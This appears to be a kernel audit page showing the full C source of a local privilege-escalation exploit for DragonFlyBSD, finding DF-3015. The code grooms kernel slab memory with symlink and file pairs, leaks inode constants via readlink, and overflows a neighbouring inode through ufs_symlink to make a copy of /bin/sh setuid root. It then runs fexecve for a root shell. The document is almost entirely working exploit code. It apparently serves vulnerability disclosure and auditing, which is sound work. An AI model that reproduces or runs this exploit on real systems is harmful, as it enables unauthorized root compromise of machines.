โฌข DragonFlyBSD Kernel Audit
DF-3015 / exp3015.c
โ† back to finding โ†“ download raw
/*
 * DF-3015 exploit v3 โ€” unprivileged uid0 via ufs_symlink heap overflow.
 *
 * Strategy (see VERDICT.md):
 *  1. SAFE TRAIN: many (S_i len-60 symlink, V_i file w/ /bin/sh content)
 *     pairs, fds held.  Fills partially-free 320-byte slab zones until
 *     allocation reaches steady state (single active zone, consecutive
 *     bump allocation).
 *  2. CALIBRATION/LEAK: S_leak (len 280 โ€” smashes exactly the next free
 *     chunk, which V_leak then M_ZERO-wipes) followed by V_leak.
 *     readlink(S_leak) == DF-0778 leak of V_leak's in-memory inode
 *     header.  Verify leak[144..152) == V_leak ino (proves stride-320
 *     adjacency AND our offset math), extract mount constants
 *     (i_fs/i_dev/i_devvp).  Retry train+leak until verified.
 *  3. WEAPON LAYOUT: S_before (len 60, no smash) then V_victim (sh
 *     content) => V_victim chunk == S_before chunk + 1.
 *     Wait for root: chown root:wheel V_victim; chmod 755 (/tmp/GO).
 *  4. FIRE: unlink S_before (len 60 โ€” inactive bzero stays inside its
 *     own di_db+di_ib), then symlink W (len 282 payload): kmalloc LIFO
 *     pops S_before's chunk; bcopy rewrites V_victim[0..178): repaired
 *     i_devvp/i_dev/i_fs, benign garbage elsewhere, di_mode =
 *     IFREG|ISUID|0755 (0x89ED).  Immediately fexecve(V_victim fd)
 *     -> euid 0.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/stat.h>

#define TRAIN_BATCH	150
#define TRAIN_MAX	1200
#define XI_DEVVP	120	/* neighbor field offsets in leak/payload */
#define XI_DEV		136
#define XI_NUMBER	144
#define XI_FS		160
#define XI_FLAG_	128

static int vfd[TRAIN_MAX + 8];

static int mkpair(const char *dir, int idx, int *vfd, ino_t *vino,
    int smashlen);

static int
mkpair(const char *dir, int idx, int *vfd, ino_t *vino, int smashlen)
{
	char p[128], target[300];
	struct stat st;
	int fd, sf;
	char buf[16384];
	ssize_t rn;

	/* S: symlink, smashlen <= 60 keeps the creation smash inside
	 * di_db+di_ib (own object); 280 smashes the following chunk. */
	memset(target, 'S', smashlen);
	target[smashlen] = 0;
	snprintf(p, sizeof(p), "%s/S%d", dir, idx);
	if (symlink(target, p)) { perror("symlink S"); return (-1); }

	/* V: regular file (chunk filler; content only for victims) */
	snprintf(p, sizeof(p), "%s/V%d", dir, idx);
	fd = open(p, O_RDWR | O_CREAT | O_EXCL, 0644);
	if (fd < 0) { perror("open V"); return (-1); }
	if (idx >= 900000) {	/* calibration/weapon victims get /bin/sh */
		sf = open("/bin/sh", O_RDONLY);
		if (sf < 0) { perror("open /bin/sh"); return (-1); }
		while ((rn = read(sf, buf, sizeof(buf))) > 0)
			if (write(fd, buf, rn) != rn) { perror("write V"); return (-1); }
		close(sf);
	}
	if (fstat(fd, &st)) { perror("fstat V"); return (-1); }
	*vfd = fd;
	if (vino)
		*vino = st.st_ino;
	return (0);
}

int
main(int argc, char **argv)
{
	const char *dir = (argc > 1) ? argv[1] : "/mnt/p";
	const char *go = (argc > 2) ? argv[2] : "/tmp/df3015.GO";
	char p[128], target[300], payload[283];
	unsigned char leak[1024];
	unsigned char k_fs[8], k_dev[8], k_devvp[8];
	int i, n, wfd = -1;
	ino_t wvino = 0, lvino = 0;
	ssize_t got;
	struct stat st;

	/* ---- 1+2: train until calibrated ---- */
	for (n = 0; n < TRAIN_MAX; n++) {
		int lfd;
		if (mkpair(dir, n, &vfd[n], NULL, 60))
			return (1);
		if ((n + 1) % TRAIN_BATCH)
			continue;
		/* calibration probe: leak pair */
		if (mkpair(dir, 900000 + n, &lfd, &lvino, 280))
			return (1);
		snprintf(p, sizeof(p), "%s/S%d", dir, 900000 + n);
		got = readlink(p, leak, sizeof(leak) - 1);
		if (got == 280 &&
		    memcmp(leak + XI_NUMBER, &lvino, 8) == 0) {
			printf("[cal] ADJACENCY VERIFIED after %d pairs "
			    "(leak i_number == V ino %llu)\n", n + 1,
			    (unsigned long long)lvino);
			memcpy(k_fs, leak + XI_FS, 8);
			memcpy(k_dev, leak + XI_DEV, 8);
			memcpy(k_devvp, leak + XI_DEVVP, 8);
			close(lfd);
			goto calibrated;
		}
		printf("[cal] not adjacent yet after %d pairs "
		    "(readlink=%zd)\n", n + 1, got);
		close(lfd);
	}
	printf("[cal] FAILED after %d pairs\n", TRAIN_MAX);
	return (4);

calibrated:
	printf("[cal] k_fs   = %02x%02x%02x%02x%02x%02x%02x%02x\n",
	    k_fs[0],k_fs[1],k_fs[2],k_fs[3],k_fs[4],k_fs[5],k_fs[6],k_fs[7]);
	printf("[cal] k_dev  = %02x%02x%02x%02x%02x%02x%02x%02x\n",
	    k_dev[0],k_dev[1],k_dev[2],k_dev[3],k_dev[4],k_dev[5],k_dev[6],k_dev[7]);
	printf("[cal] k_devvp= %02x%02x%02x%02x%02x%02x%02x%02x\n",
	    k_devvp[0],k_devvp[1],k_devvp[2],k_devvp[3],k_devvp[4],k_devvp[5],k_devvp[6],k_devvp[7]);
	fflush(stdout);
	{
		int z;
		for (z = 0; z < 8; z++)
			if (k_fs[z] == 0 || k_dev[z] == 0 || k_devvp[z] == 0) {
				printf("[cal] FATAL NUL byte in constants โ€” "
				    "remount and retry\n");
				return (5);
			}
	}

	/* ---- 3: weapon layout [S_before][V_victim] ---- */
	memset(target, 'S', 60);
	target[60] = 0;
	snprintf(p, sizeof(p), "%s/Sbefore", dir);
	if (symlink(target, p)) { perror("symlink Sbefore"); return 1; }
	snprintf(p, sizeof(p), "%s/VVICTIM", dir);
	wfd = open(p, O_RDWR | O_CREAT | O_EXCL, 0644);
	if (wfd < 0) { perror("open VVICTIM"); return 1; }
	{
		int sf = open("/bin/sh", O_RDONLY);
		char buf[16384]; ssize_t rn;
		while ((rn = read(sf, buf, sizeof(buf))) > 0)
			write(wfd, buf, rn);
		close(sf);
	}
	fstat(wfd, &st);
	wvino = st.st_ino;
	printf("[wpn] Sbefore + VVICTIM (ino %llu) created\n",
	    (unsigned long long)wvino);
	printf("[wpn] waiting for root: chown root:wheel %s/VVICTIM; "
	    "chmod 755 %s/VVICTIM; touch %s\n", dir, dir, go);
	fflush(stdout);
	while (access(go, F_OK) != 0)
		usleep(100000);
	fstat(wfd, &st);
	printf("[wpn] GO; VVICTIM uid=%u mode=%o\n", st.st_uid, st.st_mode);
	if (st.st_uid != 0 || (st.st_mode & 0777) != 0755) {
		printf("[wpn] VVICTIM not chowned โ€” abort\n");
		return (6);
	}

	/* ---- 4: fire ---- */
	snprintf(p, sizeof(p), "%s/Sbefore", dir);
	if (unlink(p)) { perror("unlink Sbefore"); return 1; }
	printf("[fire] Sbefore freed; creating W\n");
	fflush(stdout);

	memset(payload, 'W', 282);
	memcpy(payload + XI_DEVVP, k_devvp, 8);
	memcpy(payload + XI_FLAG_, "\xAA\xAA\xAA\xAA\xAA\xAA\xAA\xAA", 8);
	memcpy(payload + XI_DEV, k_dev, 8);
	memcpy(payload + XI_FS, k_fs, 8);
	payload[280] = (char)0xED;
	payload[281] = (char)0x89;
	payload[282] = 0;
	snprintf(p, sizeof(p), "%s/W", dir);
	if (symlink(payload, p)) { perror("symlink W"); return 1; }
	printf("[fire] W created; fexecve in 3..2..1\n");
	fflush(stdout);

	{
		char *av[] = { "-sh", "-c",
		    "id; echo ===PWNED===; sh", NULL };
		char *ev[] = { "PATH=/bin:/usr/bin:/sbin:/usr/sbin", NULL };
		fexecve(wfd, av, ev);
	}
	printf("[fire] fexecve failed: %s\n", strerror(errno));
	return (7);
}